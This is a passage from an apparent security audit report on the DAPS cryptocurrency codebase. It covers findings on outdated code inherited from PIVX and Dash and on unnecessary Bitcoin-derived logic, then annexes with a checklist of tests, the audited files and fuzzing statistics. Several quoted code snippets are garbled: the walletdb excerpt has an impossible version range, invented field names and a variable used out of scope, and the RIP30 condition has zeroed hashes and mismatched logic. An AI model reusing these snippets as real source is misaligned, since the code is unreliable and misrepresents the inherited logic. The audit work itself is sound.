**DAPS Code**: [https://github.com/ArcadiaMediaGroup/DAPS/blob/bd7fbfca8d4d523d90a55ce670fe64ff03573162/src/addrm.cpp#L340](https://github.com/ArcadiaMediaGroup/DAPS/blob/bd7fbfca8d4d523d90a55ce670fe64ff03573162/src/addrm.cpp#L340)

**PIVX Code**: [https://github.com/PIVX-Project/PIVX/blob/454c487424b57d7d35b7f42ee104f2c052c9c2c4/src/addrm.cpp#L350-L352](https://github.com/PIVX-Project/PIVX/blob/454c487424b57d7d35b7f42ee104f2c052c9c2c4/src/addrm.cpp#L350-L352)

**DAPS Code**: [https://github.com/ArcadiaMediaGroup/DAPS/blob/bd7fbfca8d4d523d90a55ce670fe64ff03573162/src/addrm.cpp#L346-L347](https://github.com/ArcadiaMediaGroup/DAPS/blob/bd7fbfca8d4d523d90a55ce670fe64ff03573162/src/addrm.cpp#L346-L347)
**37 - Outdated Inherited Code**

PIVX Code: [https://github.com/PIVX-Project/PIVX/blob/bbeabc4d63eea87abbe46acaa6014a6540742b1a/src/main.cpp#L5148-L5153](https://github.com/PIVX-Project/PIVX/blob/bbeabc4d63eea87abbe46acaa6014a6540742b1a/src/main.cpp#L5148-L5153)

DAPS Code: [https://github.com/ArcadiaMediaGroup/DAPS/blob/8fbbd138c09f63172db6c2b51d60768e3ad3ad71/src/main.cpp#L4480-L4482](https://github.com/ArcadiaMediaGroup/DAPS/blob/8fbbd138c09f63172db6c2b51d60768e3ad3ad71/src/main.cpp#L4480-L4482)

PIVX Code: [https://github.com/PIVX-Project/PIVX/blob/bbeabc4d63eea87abbe46acaa6014a6540742b1a/src/masternode.cpp#L773-L777](https://github.com/PIVX-Project/PIVX/blob/bbeabc4d63eea87abbe46acaa6014a6540742b1a/src/masternode.cpp#L773-L777)

DAPS Code: [https://github.com/ArcadiaMediaGroup/DAPS/blob/8fbbd138c09f63172db6c2b51d60768e3ad3ad71/src/masternode.cpp#L763](https://github.com/ArcadiaMediaGroup/DAPS/blob/8fbbd138c09f63172db6c2b51d60768e3ad3ad71/src/masternode.cpp#L763)

PIVX Code: [https://github.com/PIVX-Project/PIVX/blob/f9d4ee0b15e40d0c6416c7fc83211affa4c8f054/src/qt/optionsdialog.cpp#L168-L169](https://github.com/PIVX-Project/PIVX/blob/f9d4ee0b15e40d0c6416c7fc83211affa4c8f054/src/qt/optionsdialog.cpp#L168-L169)

DAPS Code: [https://github.com/ArcadiaMediaGroup/DAPS/blob/8fbbd138c09f63172db6c2b51d60768e3ad3ad71/src/qt/optionsdialog.cpp#L146](https://github.com/ArcadiaMediaGroup/DAPS/blob/8fbbd138c09f63172db6c2b51d60768e3ad3ad71/src/qt/optionsdialog.cpp#L146)
37 - Outdated Inherited Code

DASH Pull Request: [https://github.com/dashpay/dash/pull/2434](https://github.com/dashpay/dash/pull/2434)

DAPS Code: [https://github.com/ArcadiaMediaGroup/DAPS/blob/eb895da0ab892e55edbe77b2e3a5910f44124c4/src/rpcwallet.cpp#L1163](https://github.com/ArcadiaMediaGroup/DAPS/blob/eb895da0ab892e55edbe77b2e3a5910f44124c4/src/rpcwallet.cpp#L1163)

**Recommendations:**

- It is recommended to update the code with the changes that are deemed appropriate. This will avoid functionality, behavioral and security issues at the same time.
### 38 - Unnecessary Code for Business Logic

<table>
<thead>
<tr>
<th>Category</th>
<th>Active</th>
<th>Risk</th>
</tr>
</thead>
<tbody>
<tr>
<td>Logic Errors</td>
<td>/src/main.cpp /src/walletdb.cpp /src/script/interpreter.cpp</td>
<td>Informative</td>
</tr>
<tr>
<td></td>
<td></td>
<td>CWE-840</td>
</tr>
</tbody>
</table>

**Description:**

During the code review it has been detected the existence of certain conditions which shouldn't be reused or inherited from other chains code (such as Bitcoin) without studying its applicability before.

The following conditionals are the consequence of an update to the bitcoin chain, however they should not be inherited and introduced in a new chain as DAPS, since they can only produce unexpected errors.

```c
bool fEnforceRIP30 = (((pindex->nHeight == 91802 && pindex->GetBlockHash()) ||
  ((pindex->nHeight == 91804 && pindex->GetBlockHash()) ||
    uint256("0x0000000000000000000000000000000000000000000000000000000000000000") ==
     pindex->GetBlockHash()) ||
  uint256("0x0000000000000000000000000000000000000000000000000000000000000000") ==
    pindex->GetBlockHash()))
```

Code reference:

https://github.com/ArcadiaMediaGroup/DAPS/blob/8fbbd138c09f63172db6c2b51d60768e3ad3ad71/src/main.cpp#L2800-L2804

An update for bitcoin has also been detected in the `walletdb.cpp` file, which does not affect DAPS, so it would not be necessary.

```
// Undo serialize changes in 31800
if (31804 < vtx.InvoiceReceivedIsTxTime && vtx.InvoiceReceivedIsTxTime <= 31783) {
    if (!ssValue.empty()) {
        char fmp;
        char fUnused;
        ssValue >> fmp >> fUnused >> vtx.strFromAccount;
        std::string strErr = strprintf("LoadInvoice() upgrading to ver=\%d \%s \%s",
                                      vtx.InvoiceReceivedIsTxTime, fmp, vtx.strFromAccount, hash.ToString());
        vtx.InvoiceReceivedIsTxTime = fmp;
    } else {
        strErr = strprintf("LoadInvoice() repairing to ver=\%d \%s", vtx.InvoiceReceivedIsTxTime, hash.ToString());
        vtx.InvoiceReceivedIsTxTime = 0;
    }
    vtx.InvoiceUpgrade.push_back(hash);
}
```

Code reference:

https://github.com/ArcadiaMediaGroup/DAPS/blob/61313567674660b37d9d7e97ef194d5cb5f1fbeb/src/walletdb.cpp#L508-L522
### 38 - Unnecessary Code for Business Logic

Another clear example that has been detected is the following code, which contains inherited Bitcoin VM bug regarding `CHECKMULTISIG`.

```cpp
896 // A bug causes CHECKMULTISIG to consume one extra argument
897 // whose contents were not checked in any way.
899 //
900 // Unfortunately this is a potential source of mutability,
901 // so optionally verify it is exactly equal to zero prior
902 // to removing it from the stack.

903 if (stack.size() < 1)
904   return set_error(err, SCRIPT_ERR_INVALID_STACK_OPERATION);
905 if ((flags & SCRIPT_VERIFY_NULLDUMMY) & stacktop(-1).size())
906   return set_error(err, SCRIPT_ERR_SIG_NULLDUMMY);
907 popstack(stack);
```

**Code Reference:**
https://github.com/ArcadiaMediaGroup/DAPS/blob/6d5e512aced6e1bda356b863fe8d1ebcf42211b2/src/script/interpreter.cpp#L897-L902

**Other reference:**
https://github.com/bitcoinbook/bitcoinbook/blob/f6f5b29822fc01b52e4e04ab72b2b1a6c233e45f/ch07.asciidoc#a-bug-in-checkmultisig-execution

**Recommendations:**
- It is recommended to review the logic of the inherited code in order to assess whether certain conditions need to be inherited or, as it is a new blockchain, should be removed from its logic.
8. Bibliography


9. Annexes

In the annexes, information referenced in the document is included as well as information related to the security review performed.

The information found in the annexes mainly includes:

- List of conducted tests.
- Audited Coverage.
- Fuzzing Testing.
Annex A List of conducted tests

The following states have been defined and used during the execution of the review plan, to manage the revision process.

<table>
<thead>
<tr>
<th>Test</th>
<th>State</th>
</tr>
</thead>
<tbody>
<tr>
<td>The test has been scheduled but has not yet started.</td>
<td>(P) Pending</td>
</tr>
<tr>
<td>The execution of the tests has been suspended since none of the necessary elements for its realization exists, given its low priority or being outside the scope of the audit.</td>
<td>(S) Suspended</td>
</tr>
<tr>
<td>The test has been performed during the test battery.</td>
<td>(A) Accomplished</td>
</tr>
<tr>
<td>The test has been excluded after being previously agreed with the client.</td>
<td>(D) Deleted</td>
</tr>
</tbody>
</table>

The final status of the tests performed, once finished, is as follows:

<table>
<thead>
<tr>
<th>Conducted Tests</th>
<th>State</th>
<th>Observations</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>INPUT VALIDATION</strong></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Cross-Site Scripting</td>
<td>A</td>
<td></td>
</tr>
<tr>
<td>Buffer Overflow</td>
<td>A</td>
<td></td>
</tr>
<tr>
<td>Cross-Site Request Forgery</td>
<td>A</td>
<td></td>
</tr>
<tr>
<td>Server-Side Request Forgery</td>
<td>A</td>
<td></td>
</tr>
<tr>
<td>HTML Injection</td>
<td>A</td>
<td></td>
</tr>
<tr>
<td>Fuzzing Testing</td>
<td>A</td>
<td></td>
</tr>
<tr>
<td>Remote Code Executions</td>
<td>A</td>
<td></td>
</tr>
<tr>
<td><strong>SOURCE CODE DESIGN</strong></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Insecure field scope</td>
<td>A</td>
<td></td>
</tr>
<tr>
<td>Insecure method scope</td>
<td>A</td>
<td></td>
</tr>
<tr>
<td>Insecure class modifiers</td>
<td>A</td>
<td></td>
</tr>
<tr>
<td>Unused external references</td>
<td>A</td>
<td></td>
</tr>
<tr>
<td>Redundant code</td>
<td>A</td>
<td></td>
</tr>
<tr>
<td>Dead or unused code</td>
<td>A</td>
<td></td>
</tr>
<tr>
<td>INFORMATION LEAKAGE AND IMPROPER ERROR HANDLING</td>
<td></td>
<td></td>
</tr>
<tr>
<td>-----------------------------------------------</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Unhandled exception</td>
<td>A</td>
<td></td>
</tr>
<tr>
<td>Null-termination errors</td>
<td>A</td>
<td></td>
</tr>
<tr>
<td>Off-by-One errors</td>
<td>A</td>
<td></td>
</tr>
<tr>
<td>Routine return value usage</td>
<td>A</td>
<td></td>
</tr>
<tr>
<td>NULL Pointer dereference</td>
<td>A</td>
<td></td>
</tr>
<tr>
<td>Insecure logging</td>
<td>A</td>
<td></td>
</tr>
<tr>
<td>Passing sensitive data over URL</td>
<td>A</td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>DIRECT OBJECT REFERENCE</th>
</tr>
</thead>
<tbody>
<tr>
<td>Direct reference to database data</td>
</tr>
<tr>
<td>Direct reference to filesystem</td>
</tr>
<tr>
<td>Direct reference to memory</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>RESOURCE USAGE</th>
</tr>
</thead>
<tbody>
<tr>
<td>Denial of Service</td>
</tr>
<tr>
<td>Out-of-Memory</td>
</tr>
<tr>
<td>Insecure file modifying</td>
</tr>
<tr>
<td>Insecure file deletion</td>
</tr>
<tr>
<td>Race conditions</td>
</tr>
<tr>
<td>Memory leak</td>
</tr>
<tr>
<td>Unsafe process creation</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>BEST PRACTICES VIOLATION</th>
</tr>
</thead>
<tbody>
<tr>
<td>Insecure memory pointer usage</td>
</tr>
<tr>
<td>NULL Pointer dereference</td>
</tr>
<tr>
<td>Pointer arithmetic</td>
</tr>
<tr>
<td>Variable aliasing</td>
</tr>
<tr>
<td>Unsafe variable initialization</td>
</tr>
<tr>
<td>Missing comments and source code documentation</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>SPECIFIC TESTS</th>
</tr>
</thead>
<tbody>
<tr>
<td>Fake Staking attacks</td>
</tr>
<tr>
<td>Signature generation and verification</td>
</tr>
<tr>
<td>Wallet Management and Recovery procedures</td>
</tr>
<tr>
<td>Deanonymization of Stealth Transactions</td>
</tr>
<tr>
<td>Ring Signatures (RingCT) and Bulletproofs</td>
</tr>
<tr>
<td>PoS, PoW, PoA analysis</td>
</tr>
<tr>
<td>Block validations</td>
</tr>
<tr>
<td>Control of Communications and Peer Management</td>
</tr>
<tr>
<td>Communication Encryption</td>
</tr>
<tr>
<td>Malformed Traffic Injection</td>
</tr>
<tr>
<td>Blockchain Protocol Analysis</td>
</tr>
<tr>
<td>Analysis of the Logic of a Blockchain</td>
</tr>
<tr>
<td>Race Conditions</td>
</tr>
<tr>
<td>--------------------------</td>
</tr>
<tr>
<td>Data Storage Efficiency</td>
</tr>
<tr>
<td>Generation and Sending of Assets</td>
</tr>
<tr>
<td>Replay Attack over transactions</td>
</tr>
<tr>
<td>Response to Sybil and Malicious Nodes</td>
</tr>
<tr>
<td>Alteration of Mining Difficulty</td>
</tr>
<tr>
<td>Avoid Transaction Confirmations</td>
</tr>
<tr>
<td>Blockchain and Forks Malicious Alteration</td>
</tr>
<tr>
<td>Cryptographic attacks</td>
</tr>
</tbody>
</table>
Annex B Audited Coverage

The code audit focuses on the most important fragments of code, which have been previously identified in the scope.

Core: [https://github.com/ArcadiaMediaGroup/DAPS/tree/develop/src](https://github.com/ArcadiaMediaGroup/DAPS/tree/develop/src)

QT Wallet: [https://github.com/ArcadiaMediaGroup/DAPS/tree/develop/src/qt](https://github.com/ArcadiaMediaGroup/DAPS/tree/develop/src/qt)

Within these folders, the different files have been analyzed in an unequal way, paying special attention to the scope requested by DAPS:

<table>
<thead>
<tr>
<th>DAPS CORE</th>
</tr>
</thead>
<tbody>
<tr>
<td>/src/activemasternode.cpp</td>
</tr>
<tr>
<td>/src/activemasternode.h</td>
</tr>
<tr>
<td>/src/blocksigs.cpp</td>
</tr>
<tr>
<td>/src/blocksigs.h</td>
</tr>
<tr>
<td>/src/bloom.cpp</td>
</tr>
<tr>
<td>/src/bloom.h</td>
</tr>
<tr>
<td>/src/chain.cpp</td>
</tr>
<tr>
<td>/src/chain.h</td>
</tr>
<tr>
<td>/src/chainparams.cpp</td>
</tr>
<tr>
<td>/src/chainparams.h</td>
</tr>
<tr>
<td>/src/chainparamsbase.cpp</td>
</tr>
<tr>
<td>/src/chainparamsbase.h</td>
</tr>
<tr>
<td>/src/coincontrol.cpp</td>
</tr>
<tr>
<td>/src/coincontrol.h</td>
</tr>
<tr>
<td>/src/coins.cpp</td>
</tr>
<tr>
<td>/src/coins.h</td>
</tr>
<tr>
<td>/src/core_io.h</td>
</tr>
<tr>
<td>/src/hash.cpp</td>
</tr>
<tr>
<td>/src/hash.h</td>
</tr>
<tr>
<td>/src/httppc.cpp</td>
</tr>
<tr>
<td>/src/httppc.h</td>
</tr>
<tr>
<td>/src/htpserver.cpp</td>
</tr>
<tr>
<td>/src/htpserver.h</td>
</tr>
<tr>
<td>/src/init.cpp</td>
</tr>
<tr>
<td>/src/init.h</td>
</tr>
<tr>
<td>/src/kernel.cpp</td>
</tr>
<tr>
<td>/src/kernel.h</td>
</tr>
<tr>
<td>/src/key.cpp</td>
</tr>
<tr>
<td>/src/key.h</td>
</tr>
<tr>
<td>/src/keystore.cpp</td>
</tr>
<tr>
<td>/src/keystore.h</td>
</tr>
<tr>
<td>/src/main.cpp</td>
</tr>
<tr>
<td>/src/masternode-budget.h</td>
</tr>
</tbody>
</table>
## DAPS QT Wallets

<table>
<thead>
<tr>
<th>C++ File</th>
<th>H File</th>
<th>UI File</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>2faconfirmdialog.cpp</code></td>
<td><code>intro.cpp</code></td>
<td><code>receiverequestdialog.ui</code></td>
</tr>
<tr>
<td><code>2faconfirmdialog.h</code></td>
<td><code>intro.h</code></td>
<td><code>recentrequeststablemodel.cpp</code></td>
</tr>
<tr>
<td><code>2faconfirmdialog.ui</code></td>
<td><code>intro.ui</code></td>
<td><code>recentrequeststablemodel.h</code></td>
</tr>
<tr>
<td><code>2fadialog.cpp</code></td>
<td><code>macdockiconhandler.h</code></td>
<td><code>revealtxdialog.cpp</code></td>
</tr>
<tr>
<td><code>2fadialog.h</code></td>
<td><code>macdockiconhandler.mm</code></td>
<td><code>revealtxdialog.h</code></td>
</tr>
<tr>
<td><code>2fadialog.ui</code></td>
<td><code>macnotificationhandler.h</code></td>
<td><code>revealtxdialog.ui</code></td>
</tr>
<tr>
<td><code>2faqrdialog.cpp</code></td>
<td><code>macnotificationhandler.mm</code></td>
<td></td>
</tr>
<tr>
<td><code>2faqrdialog.h</code></td>
<td><code>masternodelist.cpp</code></td>
<td><code>rpcconsole.cpp</code></td>
</tr>
<tr>
<td><code>2faqrdialog.ui</code></td>
<td><code>masternodelist.h</code></td>
<td><code>rpcconsole.ui</code></td>
</tr>
<tr>
<td><code>addressbookpage.cpp</code></td>
<td><code>masternodelist.ui</code></td>
<td><code>sendcoinsdialog.cpp</code></td>
</tr>
<tr>
<td><code>addressbookpage.h</code></td>
<td><code>multisenddialog.cpp</code></td>
<td><code>sendcoinsdialog.h</code></td>
</tr>
<tr>
<td><code>addressbookpage.ui</code></td>
<td><code>multisenddialog.h</code></td>
<td><code>sendcoinsdialog.ui</code></td>
</tr>
<tr>
<td><code>addressstablemodel.cpp</code></td>
<td><code>multisenddialog.ui</code></td>
<td></td>
</tr>
<tr>
<td><code>addressstablemodel.h</code></td>
<td><code>multisigdialog.cpp</code></td>
<td></td>
</tr>
<tr>
<td><code>askpassphrasedialog.cpp</code></td>
<td><code>multisigdialog.h</code></td>
<td></td>
</tr>
<tr>
<td><code>askpassphrasedialog.h</code></td>
<td><code>multisigdialog.ui</code></td>
<td></td>
</tr>
<tr>
<td><code>askpassphrasedialog.ui</code></td>
<td><code>networkstyle.cpp</code></td>
<td></td>
</tr>
<tr>
<td><code>bantablemodel.cpp</code></td>
<td><code>networkstyle.h</code></td>
<td></td>
</tr>
<tr>
<td><code>bantablemodel.h</code></td>
<td><code>notificator.cpp</code></td>
<td><code>splashscreen.cpp</code></td>
</tr>
<tr>
<td><code>bip38tooldialog.cpp</code></td>
<td><code>notificator.h</code></td>
<td><code>splashscreen.h</code></td>
</tr>
<tr>
<td><code>bip38tooldialog.h</code></td>
<td><code>obfuscationconfig.cpp</code></td>
<td><code>togglebutton.cpp</code></td>
</tr>
<tr>
<td><code>bip38tooldialog.ui</code></td>
<td><code>obfuscationconfig.h</code></td>
<td><code>togglebutton.h</code></td>
</tr>
<tr>
<td><code>bitcoinaddressvalidator.cpp</code></td>
<td><code>openuridialog.cpp</code></td>
<td><code>togglebutton.ui</code></td>
</tr>
<tr>
<td><code>bitcoinaddressvalidator.h</code></td>
<td><code>openuridialog.h</code></td>
<td></td>
</tr>
<tr>
<td><code>bitcoinamountfield.cpp</code></td>
<td><code>openuridialog.ui</code></td>
<td></td>
</tr>
<tr>
<td><code>bitcoinamountfield.h</code></td>
<td><code>openuridialog.h</code></td>
<td><code>trafficgraphwidget.cpp</code></td>
</tr>
<tr>
<td><code>bitcoinamountfield.ui</code></td>
<td><code>openuridialog.ui</code></td>
<td><code>trafficgraphwidget.h</code></td>
</tr>
<tr>
<td><code>bitcoingui.cpp</code></td>
<td><code>optionsdialog.cpp</code></td>
<td><code>transactiondesc.cpp</code></td>
</tr>
<tr>
<td><code>bitcoingui.h</code></td>
<td><code>optionsdialog.h</code></td>
<td><code>transactiondesc.h</code></td>
</tr>
<tr>
<td><code>bitcoingui.ui</code></td>
<td><code>optionsdialog.ui</code></td>
<td><code>transactiondescdialog.cpp</code></td>
</tr>
<tr>
<td><code>bitcoinunits.cpp</code></td>
<td><code>optionsmodel.cpp</code></td>
<td><code>transactiondescdialog.h</code></td>
</tr>
<tr>
<td><code>bitcoinunits.h</code></td>
<td><code>optionsmodel.h</code></td>
<td></td>
</tr>
<tr>
<td><code>bitcoinunits.ui</code></td>
<td><code>optionsmodel.ui</code></td>
<td></td>
</tr>
<tr>
<td><code>blockexplorer.cpp</code></td>
<td><code>optionspage.cpp</code></td>
<td><code>transactionfilterproxy.cpp</code></td>
</tr>
<tr>
<td><code>blockexplorer.h</code></td>
<td><code>optionspage.h</code></td>
<td><code>transactionfilterproxy.h</code></td>
</tr>
<tr>
<td><code>blockexplorer.ui</code></td>
<td><code>optionspage.ui</code></td>
<td><code>transactionrecord.cpp</code></td>
</tr>
<tr>
<td><code>clientmodel.cpp</code></td>
<td><code>overviewpage.cpp</code></td>
<td><code>transactionrecord.h</code></td>
</tr>
<tr>
<td><code>clientmodel.h</code></td>
<td><code>overviewpage.h</code></td>
<td></td>
</tr>
<tr>
<td><code>coincointroldialog.cpp</code></td>
<td><code>overviewpage.ui</code></td>
<td><code>transactionrecordmodel.cpp</code></td>
</tr>
<tr>
<td><code>coincointroldialog.h</code></td>
<td><code>overviewpage.ui</code></td>
<td><code>transactiontablemodel.cpp</code></td>
</tr>
<tr>
<td><code>coincointroldialog.ui</code></td>
<td><code>paymentrequestplus.cpp</code></td>
<td><code>transactionview.cpp</code></td>
</tr>
<tr>
<td><code>coincointroltreewidget.cpp</code></td>
<td><code>paymentrequestplus.h</code></td>
<td><code>transactionview.h</code></td>
</tr>
<tr>
<td><code>coincointroltreewidget.h</code></td>
<td><code>paymentserver.cpp</code></td>
<td><code>txentry.cpp</code></td>
</tr>
<tr>
<td><code>coincointroltreewidget.ui</code></td>
<td><code>paymentserver.h</code></td>
<td><code>txentry.h</code></td>
</tr>
<tr>
<td><code>csvmodelwriter.cpp</code></td>
<td><code>peertablemodel.cpp</code></td>
<td><code>txentry.ui</code></td>
</tr>
<tr>
<td><code>csvmodelwriter.h</code></td>
<td><code>peertablemodel.h</code></td>
<td></td>
</tr>
<tr>
<td><code>csvmodelwriter.ui</code></td>
<td><code>platformstyle.cpp</code></td>
<td></td>
</tr>
<tr>
<td><code>dapscoin.cpp</code></td>
<td><code>platformstyle.h</code></td>
<td></td>
</tr>
<tr>
<td><code>dapscoinstrings.cpp</code></td>
<td><code>walletframe.cpp</code></td>
<td><code>walletframe.cpp</code></td>
</tr>
<tr>
<td><code>editaddressdialog.cpp</code></td>
<td><code>walletframe.h</code></td>
<td></td>
</tr>
<tr>
<td><code>editaddressdialog.h</code></td>
<td><code>walletframe.ui</code></td>
<td></td>
</tr>
</tbody>
</table>
This report also contains some vulnerabilities and miscellaneous issues detected outside the initial scope defined in this section since there were calls to methods and functions outside the initial scope and have been reviewed to ensure proper operation.

All these vulnerabilities have been distributed directly to DAPS team.
Annex C Fuzzing Testing

Fuzzing testing is a semi-automatic testing technique used to validate the reliability and security of the code, increase test code coverages, discovering security issues, coding errors or loopholes by inputting randomly massive generated data to the software application (in this case, DAPS blockchain) and monitoring for exceptions, system crashes or failing built-in code.

Fuzzing techniques offers a high benefit-to-cost ratio and helps to reveal serious issues and code failures that are overlooked when software is written and debugged.

Some of the typical bugs that can be found with fuzzing tests are:

- Fault memory management.
- Incorrect management of resources.
- Undefined and unexpected behaviors.
- Deadlocks and Infinite loops.
- Assertion violations and segmentation faults.
- Incorrect exception and null handling.

Some of the most common fuzzing techniques are:

- Mutation-based fuzzing.
- Generation-based fuzzing.
- Protocol or model-based fuzzing.

DAPS FUZZING AND DYNAMIC TESTING COVERAGE

In order to deploy and prepare a fuzzing environment for DAPS Core, is necessary to implement several files to interact with LibFuzzer, AFL (American Fuzzy Lop) and Angora.

The compilation has been modified to allow code fuzzing. With these modifications it is possible to build specific binaries for each of the objects that we are fuzzing.

A huge part of the code coverage has been tested dynamically, prioritizing according to the attack surface within the scope provided. These are the main source code sections fuzzed.
Deserialization

We have included all kind of tests with several object instances from each class. Some of them are:

- Address Deserialize
- Addrman Deserialize
- Banentry Deserialize
- Block Header, Block Merkleroot, Block Locator, Block Transaction Deserialize
- Bloom Filter Deserialize
- Coins Deserialize
- Disk Block Index Deserialize
- Message Header Deserialize
- Netaddr Deserialize
- Script Deserialize
- Service Deserialize
- TXout Compressor Deserialize
- TX undo Deserialize

Block Management

To ensure the correct management, creation and verification of blocks the following classes have been fuzzed:

- CreateNewBlock
- CreateNewPoABlock
- CheckBlock
- CheckBlockHeader
- AcceptBlockHeader
- AcceptBlock
- ConnectBlock
- CheckPrevPoABlockHash
- CheckPoABlockTime
- CheckPoABlockNotAuditingOverlap
**Bitcoin VM**

The target is not a very complex virtual machine. Its input is a bytecode stream which is able to perform basic arithmetic and cryptographic computations. The Angora feedback driven fuzzer was chosen over other simpler fuzzers as AFL. The main reason is that it implements more advanced path discovery algorithms, which should yield better results.

Once Bitcoin VM fuzzing phase is over, nothing relevant was detected. No bugs or crashes were found.

**RPC HTTP Server**

The RPC interface, which spawns an HTTP server which process POST requests containing JSON messages. The simple HTTP server used by the RPC server is contained in `httpserver.cpp` and `rpcprotocol.cpp`. This component is more isolated and has fewer dependencies than the previously described Bitcoin VM.

Once RPC HTTP Server fuzzing phase is over, nothing relevant was detected. No bugs or crashes were found.

**JSON Parser**

This component is contained in its own subfolder, has no external interfaces and a very clear interface.

Once JSON Parser fuzzing phase is over, nothing relevant was detected. No bugs or crashes were found.

Once DAPS fuzzing phase is over, nothing relevant was detected. As an example, after 25 days running our fuzzing test and after 3929 million executions, only 2 harmless bugs and no crashes were found.

<table>
<thead>
<tr>
<th>Summary stats</th>
</tr>
</thead>
<tbody>
<tr>
<td>Fuzzers alive : 20</td>
</tr>
<tr>
<td>Total run time : 25 days, 17 hours</td>
</tr>
<tr>
<td>Total execs : 3929 million</td>
</tr>
<tr>
<td>Cumulative speed : 35327 execs/sec</td>
</tr>
<tr>
<td>Pending paths : 2 faves, 812 total</td>
</tr>
<tr>
<td>Pending per fuzzer : 0 faves, 40 total (on average)</td>
</tr>
<tr>
<td>Crashes found : 0 locally unique</td>
</tr>
</tbody>
</table>
Invest in Security, invest in your future